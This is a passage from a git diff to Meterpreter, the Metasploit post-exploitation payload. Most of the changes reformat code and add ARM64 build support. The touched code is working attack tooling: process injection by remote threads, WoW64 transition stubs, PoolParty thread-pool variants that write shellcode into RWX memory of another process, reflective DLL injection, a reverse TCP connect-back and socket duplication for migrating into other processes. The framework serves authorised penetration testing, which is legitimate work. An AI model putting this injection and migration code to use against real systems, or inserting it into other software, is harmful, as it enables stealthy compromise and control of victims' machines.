sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pX64function ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - + pX64function = (X64FUNCTION)met_api->win_api.kernel32.VirtualAlloc(NULL, sizeof(migrate_wownativex) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pX64function) + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed") + // copy over the wow64->x64 stub - memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + memcpy(pExecuteX64, &migrate_executex64, sizeof(migrate_executex64)); // copy over the native x64 function - memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + memcpy(pX64function, &migrate_wownativex, sizeof(migrate_wownativex)); // set the context - ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + ctx = (WOW64CONTEXT *)((BYTE *)pX64function + sizeof(migrate_wownativex)); - ctx->h.hProcess = hProcess; + ctx->h.hProcess = hProcess; ctx->s.lpStartAddress = lpStartAddress; - ctx->p.lpParameter = lpParameter; - ctx->t.hThread = NULL; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; - dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + dprintf("[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx); // Transition this wow64 process into native x64 and call pX64function( ctx ) // The native function will use the native Win64 API's to create a remote thread in the target process. - if( !pExecuteX64( pX64function, (DWORD)(DWORD_PTR)ctx ) ) + if (!pExecuteX64(pX64function, (DWORD)(DWORD_PTR)ctx)) { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + SetLastError(ERROR_ACCESS_DENIED); + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed") } - if( !ctx->t.hThread ) + if (!ctx->t.hThread) { - SetLastError( ERROR_INVALID_HANDLE ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + SetLastError(ERROR_INVALID_HANDLE); + BREAK_ON_ERROR("[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL") } // Success! grab the new thread handle from of the context *pThread = ctx->t.hThread; - dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + dprintf("[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread); - } while( 0 ); + } while (0); - if( pExecuteX64 ) - met_api->win_api.kernel32.VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + if (pExecuteX64) + met_api->win_api.kernel32.VirtualFree(pExecuteX64, 0, MEM_DECOMMIT); - if( pX64function ) - met_api->win_api.kernel32.VirtualFree( pX64function, 0, MEM_DECOMMIT ); + if (pX64function) + met_api->win_api.kernel32.VirtualFree(pX64function, 0, MEM_DECOMMIT); return dwResult; +#endif } /* * Attempte to gain code execution in the remote process by creating a remote thread in the target process. */ -DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +DWORD inject_via_remotethread(Remote *remote, Packet *response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { DWORD dwResult = ERROR_SUCCESS; DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; @@ -517,12 +436,13 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces return dwResult; } -DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { +DWORD inject_via_poolparty(Remote *remote, Packet *response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +{ DWORD dwResult = ERROR_SUCCESS; DWORD dwTechnique = MIGRATE_TECHNIQUE_POOLPARTY; HANDLE hThread = NULL; LPVOID lpPoolPartyStub; - POOLPARTYCONTEXT ctx = { 0 }; + POOLPARTYCONTEXT ctx = {0}; ctx.s.lpStartAddress = lpStartAddress; ctx.p.lpParameter = lpParameter; HANDLE hTriggerEvent = INVALID_HANDLE_VALUE; @@ -531,9 +451,9 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW LPVOID lpStub = NULL; DWORD dwStubSize = 0; HANDLE hHeap = GetProcessHeap(); - - if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) { + if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) + { return ERROR_INVALID_FUNCTION; } @@ -541,22 +461,25 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW do { - if(poolparty == NULL) + if (poolparty == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] The pool party could not be initialized", ERROR_INVALID_FUNCTION); } - if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X64 || dwMeterpreterArch == PROCESS_ARCH_X86)) { + if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X64 || dwMeterpreterArch == PROCESS_ARCH_X86)) + { dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64"); lpStub = &poolparty_stub_x64; dwStubSize = sizeof(poolparty_stub_x64); } - else if (dwDestinationArch == PROCESS_ARCH_X86 && dwMeterpreterArch == PROCESS_ARCH_X86) { + else if (dwDestinationArch == PROCESS_ARCH_X86 && dwMeterpreterArch == PROCESS_ARCH_X86) + { dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x86"); lpStub = &poolparty_stub_x86; dwStubSize = sizeof(poolparty_stub_x86); } - else { + else + { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION); } @@ -573,37 +496,44 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW } lpPoolPartyStub = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent); - if (!lpPoolPartyStub) { + dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE)lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent); + if (!lpPoolPartyStub) + { BREAK_ON_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!"); } - - if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) { + + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) + { BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!"); } - if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) { + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) + { BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!"); } dwResult = ERROR_INVALID_FUNCTION; // Set a default failure - for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) { - if (poolparty->variants[variant].isInjectionSupported) { + for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) + { + if (poolparty->variants[variant].isInjectionSupported) + { #ifdef DEBUGTRACE - char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = { + char *VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = { "POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION", "POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE", }; dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]); #endif - dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent); - if (dwResult == ERROR_SUCCESS) { + dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE *)lpPoolPartyStub + dwStubSize, &hTriggerEvent); + if (dwResult == ERROR_SUCCESS) + { dprintf("[INJECT] inject_via_poolparty: injected!"); break; } } } - if (dwResult != ERROR_SUCCESS) { + if (dwResult != ERROR_SUCCESS) + { BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_INVALID_FUNCTION) } @@ -618,7 +548,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW dprintf("[INJECT] inject_via_poolparty: Sleeping for two seconds..."); // Sleep to give the remote side a chance to catch up... Sleep(2000); - } SetEvent(hTriggerEvent); SetLastError(dwResult); @@ -631,16 +560,16 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW /* * Inject a DLL image into a process via Reflective DLL Injection. * - * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() * in stdapi will handle this automatically. * - * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's - * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() + * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's + * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() * will check for this and fail gracefully. * * Note: This function largely depreciates LoadRemoteLibraryR(). - * + * * @param dwPid The process to inject into. * @param dwDestinationArch The arechitecture of the process to inject into. If this value is PROCESS_ARCH_UNKNOWN, then * dwMeterpreterArch is used. @@ -653,7 +582,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW * target and must be set to a valid address within the target process. */ - DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) { DWORD dwResult = ERROR_ACCESS_DENIED; @@ -711,18 +639,20 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); // First we try to inject by directly creating a remote thread in the target process - if (bPoolParty) { + if (bPoolParty) + { dwResult = inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg); - if (dwResult != ERROR_SUCCESS) { + if (dwResult != ERROR_SUCCESS) + { dprintf("[INJECT] inject_via_poolparty failed, proceeding with legacy injection."); // Reset dwResult and set bPoolParty to FALSE. dwResult = ERROR_SUCCESS; bPoolParty = FALSE; } - } - if (!bPoolParty) { + if (!bPoolParty) + { if (inject_via_remotethread(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS) { dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..."); diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h index 4c639b5b3..02108fd5c 100644 --- a/c/meterpreter/source/metsrv/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -92,12 +92,9 @@ typedef struct _POOLPARTYCONTEXT //===============================================================================================// DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); - DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch); //===============================================================================================// diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index 383b51793..8fa2f4aee 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -10,8 +10,13 @@ */ #define METSRV_VERSION_NUMBER 0x00010001 -#undef _WIN32_WINNT -#define _WIN32_WINNT _WIN32_WINNT_WINXP +#ifndef _WIN32_WINNT + #ifdef _M_ARM64 + #define _WIN32_WINNT 0x0600 + #else + #define _WIN32_WINNT _WIN32_WINNT_WINXP + #endif +#endif #define USE_DLL #include "common.h" diff --git a/c/meterpreter/source/metsrv/pool_party_ext.h b/c/meterpreter/source/metsrv/pool_party_ext.h index 43dd34930..6a038f418 100644 --- a/c/meterpreter/source/metsrv/pool_party_ext.h +++ b/c/meterpreter/source/metsrv/pool_party_ext.h @@ -18,11 +18,12 @@ typedef struct IUnknown IUnknown; // Structs // // --------// -#ifndef __MINGW32__ +#if !defined(__MINGW32__) && !defined(_CLIENT_ID_DEFINED) typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID; +#define _CLIENT_ID_DEFINED #endif //typedef struct _FILE_IO_COMPLETION_INFORMATION diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c index 3339230fa..60007808b 100644 --- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c @@ -38,11 +38,12 @@ static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadC static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength); static VOID free_server_context(NamedPipeContext* ctx); -typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); -static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) + +typedef BOOL (WINAPI *PAddMandatoryAce_)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); +static BOOL WINAPI AddMandatoryAce_(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) { static BOOL attempted = FALSE; - static PAddMandatoryAce pAddMandatoryAce = NULL; + static PAddMandatoryAce_ pAddMandatoryAce = NULL; if (attempted) { @@ -51,12 +52,12 @@ static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFl HMODULE lib = met_api->win_api.kernel32.LoadLibraryA("advapi32.dll"); if (lib != NULL) { - pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); + pAddMandatoryAce = (PAddMandatoryAce_)GetProcAddress(lib, "AddMandatoryAce"); dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); } } - if (pAddMandatoryAce != NULL) + if (pAddMandatoryAce != NULL) { pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); } @@ -328,7 +329,7 @@ VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); } - if (!AddMandatoryAce(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) + if (!AddMandatoryAce_(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) { dprintf("[NP-SERVER] AddMandatoryAce failed: %u", GetLastError()); } diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index 0ee756b30..948b46539 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -10,7 +10,11 @@ typedef struct _TCPMIGRATECONTEXT { COMMONMIGRATECONTEXT common; - WSAPROTOCOL_INFOA info; + #ifdef _M_ARM64 + WSAPROTOCOL_INFOW info; + #else + WSAPROTOCOL_INFOA info; + #endif } TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; // These fields aren't defined unless the SDK version is set to something old enough. @@ -78,7 +82,11 @@ static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWOR char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); SOCKADDR_IN sock = { 0 }; +#ifdef _M_ARM64 + inet_pton(AF_INET, targetIp, &sock.sin_addr); +#else sock.sin_addr.s_addr = inet_addr(targetIp); +#endif sock.sin_family = AF_INET; sock.sin_port = htons(port); @@ -844,11 +852,15 @@ static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId } // Duplicate the socket for the target process - if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) - { - free(ctx); - return WSAGetLastError(); - } + #ifdef _M_ARM64 + if (WSADuplicateSocketW(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + #else + if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) + #endif + { + free(ctx); + return WSAGetLastError(); + } *contextSize = sizeof(TCPMIGRATECONTEXT); *contextBuffer = (PBYTE)ctx; diff --git a/c/meterpreter/toolsets/aarch64-w64-mingw32.cmake b/c/meterpreter/toolsets/aarch64-w64-mingw32.cmake new file mode 100644 index 000000000..6c73273a0 --- /dev/null +++ b/c/meterpreter/toolsets/aarch64-w64-mingw32.cmake @@ -0,0 +1,15 @@ +set(CMAKE_SYSTEM_NAME Windows) +set(CMAKE_SYSTEM_PROCESSOR aarch64) +set(CMAKE_TOOLCHAIN_PREFIX "aarch64-w64-mingw32") +find_program(CMAKE_MAKE_PROGRAM NAMES make) +find_program(CMAKE_RC_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres) +find_program(CMAKE_C_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc) +find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++) +find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as) +find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld) +set(CMAKE_C_STANDARD 11) +set(CMAKE_CXX_STANDARD 11) +set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX}) +set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) +set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) +set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt index 489d6066d..8e6d33220 100644 --- a/c/meterpreter/workspace/CMakeLists.txt +++ b/c/meterpreter/workspace/CMakeLists.txt @@ -133,6 +133,12 @@ if(BUILD_ARCH MATCHES "Win32") set(IS_X86 true) set(IS_X64 false) set(BIN_SUBSYSTEM "4.0") +elseif(BUILD_ARCH MATCHES "ARM64") + set(TARGET_ARCH "arm64") + set(IS_X86 false) + set(IS_X64 false) + set(IS_ARM64 true) + set(BIN_SUBSYSTEM "6.02") else() set(TARGET_ARCH "x64") set(IS_X86 false) @@ -187,6 +193,14 @@ if(IS_X64) -DX64 ) endif() +if(IS_ARM64) + add_definitions( + -DWIN64 + -D_WIN64 + -D_ARM64 + -DARM64 + ) +endif() if(BUILD_LIB_JPEG) set(MET_LIBS jpeg) diff --git a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt index f94f03797..571b3f879 100644 --- a/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt +++ b/c/meterpreter/workspace/ReflectiveDLLInjection/CMakeLists.txt @@ -9,6 +9,8 @@ if("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(x86_64|amd64)") set(SRC_FILES ${SRC_DIR}/GateTrampoline64.s) elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "(i386|i686)") set(SRC_FILES ${SRC_DIR}/GateTrampoline32.s) +elseif("${CMAKE_SYSTEM_PROCESSOR}" MATCHES "aarch64") + set(SRC_FILES ${SRC_DIR}/GateTrampolineARM64.s) endif() set_property(DIRECTORY PROPERTY COMPILE_DEFINITIONS) diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..a47d568a4 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -1,623 +1,765 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - r7_release - Win32 - - - r7_release - x64 - - - Release - Win32 - - - Release - x64 - - - - {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} - metsrv - - - - DynamicLibrary - false - Unicode - v141_xp - - - DynamicLibrary - false - Unicode - v141_xp - - - DynamicLibrary - false - Unicode - v141_xp - - - DynamicLibrary - false - Unicode - v141_xp - - - DynamicLibrary - false - Unicode - v141_xp - - - DynamicLibrary - false - Unicode - v141_xp - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - .\$(Configuration)\$(Platform)\ - .\$(Configuration)\$(Platform)\ - false - false - false - false - AllRules.ruleset - - - $(ProjectName).$(PlatformShortName) - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - Win32 - $(OutDir)\metsrv.tlb - - - - - MinSpace - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - false - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - - - false - false - - - false - - - - - MachineX86 - - - Windows - /ignore:4070 %(AdditionalOptions) - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - Win32 - $(OutDir)\metsrv.tlb - - - - - MinSpace - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - DEBUGTRACE;WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - false - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - false - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - - - false - false - - - false - - - - - MachineX86 - - - Windows - /ignore:4070 %(AdditionalOptions) - - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)" - - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - Win32 - $(OutDir)\metsrv.tlb - - - - - MinSpace - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - false - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - - - false - false - - - false - - - - - MachineX86 - - - Windows - /ignore:4070 %(AdditionalOptions) - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - X64 - $(OutDir)\metsrv.tlb - - - - - Custom - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - true - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - false - false - - - false - - - - - MachineX64 - - - Windows - /ignore:4070 %(AdditionalOptions) - - No - - - true - $(OutDir)\metsrv.bsc - - - editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\" -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - NDEBUG;%(PreprocessorDefinitions) - true - true - X64 - $(OutDir)\metsrv.tlb - - - - - MinSpace - OnlyExplicitInline - Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\server;..\..\source\common;%(AdditionalIncludeDirectories) - DEBUGTRACE;WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - MultiThreaded - false - NotUsing - metsrv.h - $(OutDir)\metsrv.pch - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - true - ProgramDatabase - false - true - true - true - - - NDEBUG;%(PreprocessorDefinitions) - 0x0409 - - - ws2_32.lib;odbc32.lib;odbccp32.lib;crypt32.lib;wininet.lib;winhttp.lib;%(AdditionalDependencies) - true - ..\common\$(Configuration);%(AdditionalLibraryDirectories) - $(ProjectDir)..\..\source\def\$(ProjectName).def - false - false - - - false - - - - - MachineX64 - - - Windows - /ignore:4070 